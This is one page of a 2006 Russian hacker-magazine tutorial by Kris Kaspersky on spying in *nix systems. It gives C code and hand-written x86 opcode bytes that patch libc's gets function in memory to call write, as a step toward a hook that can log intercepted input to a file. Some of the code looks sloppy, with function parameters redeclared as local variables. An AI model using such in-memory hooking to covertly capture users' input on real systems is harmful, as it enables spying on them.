Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #88, АПРЕЛЬ 2006 г.

Системный шпионаж в *nix часть 2

Крис Касперски ака мыщъх

Хакер, номер #088, стр. 088-098-2


unsigned char buf_code[]={0xE8, 0x0, 0x0, 0x0,0x0}; // call 00000h

call_r(char *lib_name, char *from, char *to, int delta)

{

unsigned char *base, *from, *to;

base = dlopen(lib_name,RTLD_NOW); if (!base) return -1;

from = dlsym(base,from); if (!from) return -1;

to = dlsym(base,to); if (!to) return -1;

*((unsigned int*)&buf_code[1]) = to - from - sizeof(buf_code) - delta;

return 666;

}

Функция call_r вызывается из программы-инсталлятора, например нашей mem.c, и генерирует относительный вызов call по адресу from на адрес to. Она может использоваться для вызова любых функций, а не только _dl_addr.

Модернизируем программу mem.c и отпатчим функцию gets так, чтобы она выводила символ «*» на экран. Мы будем вызывать функцию write из библиотеки libc со следующими параметрами: write(1,&"*",1). Обрати внимание на конструкцию &«*». Мы заталкиваем в стек символ "*" и передаем функции его указатель. А что еще остается делать? Сегмент данных ведь недоступен! Приходится использовать стек! При желании туда можно затолкать не только один символ, но и ASCIIZ-строку (только не забудь потом вытолкнуть обратно — некоторые забывают, в результате чего имеют несбалансированный стек и получают segmentation fault).

Модернизированный вариант программы mem.c, внедряющий в начало gets вызов write(1,&"*",1);

// начало thunk-кода. Заталкиваем в стек аргументы функции write, но саму функцию еще не вызываем, так как не знаем ее адреса

unsigned char buf_pre[]={ 0x6A,0x2A, /* push 2Ah */

0x8B,0xDC, /* mov ebx,esp */

0x33,0xC0, /* xor eax,eax */

0x40, /* inc eax */

0x50, /* push eax */

0x53, /* push ebx */

0x50 /* push eax */

};

// сюда записывается сгенерированный относительный вызов функции write

unsigned char buf_code[]={0xE8,0x0,0x0,0x0,0x0};

// конец thunk-кода. Выталкиваем аргументы из стека вместе с символом "*" и возвращаемся по ret

unsigned char buf_post[]={

0x83,0xC4,0x10, /* add esp,10 */

0xC3 /* ret */

};

// буфер, в который будет записан собранный thunk-код в следующей последовательности: buf_pre + buf_code + buf_post

unsigned char buf_dst[sizeof(buf_pre) + sizeof(buf_code) + sizeof(buf_post)];

// генерируем относительный вызов write

call_r("libc.so.6", "gets", "write", sizeof(buf_pre));

// собираем thunk-код

memcpy(buf_dst, buf_pre, sizeof(buf_pre));

memcpy(buf_dst + sizeof(buf_pre), buf_code, sizeof(buf_code));

memcpy(buf_dst + sizeof(buf_pre) + sizeof(buf_code), buf_post, sizeof(buf_post));

// ставим C3h (ret) или восстанавливаем стандартный пролог обратно

if (page_buf[((unsigned int)p) % PAGE_SIZE] == 0xC3)

page_buf[((unsigned int)p) % PAGE_SIZE] = 0x55;

else

page_buf[((unsigned int)p) % PAGE_SIZE] = 0xC3;

// копируем thunk-код поверх функции gets

memcpy(&page_buf[((unsigned int)p) % PAGE_SIZE], buf_dst,sizeof(buf_dst));

Компилируем программу и убеждаемся, что она работает, вплотную приближая нас к созданию полноценного перехватчика. Чуть-чуть усложнив thunk-код, мы сможем не только выводить свои данные на экран, но и сохранять log в файл!

Назад на стр. 088-098-1  Содержание  Вперед на стр. 088-098-3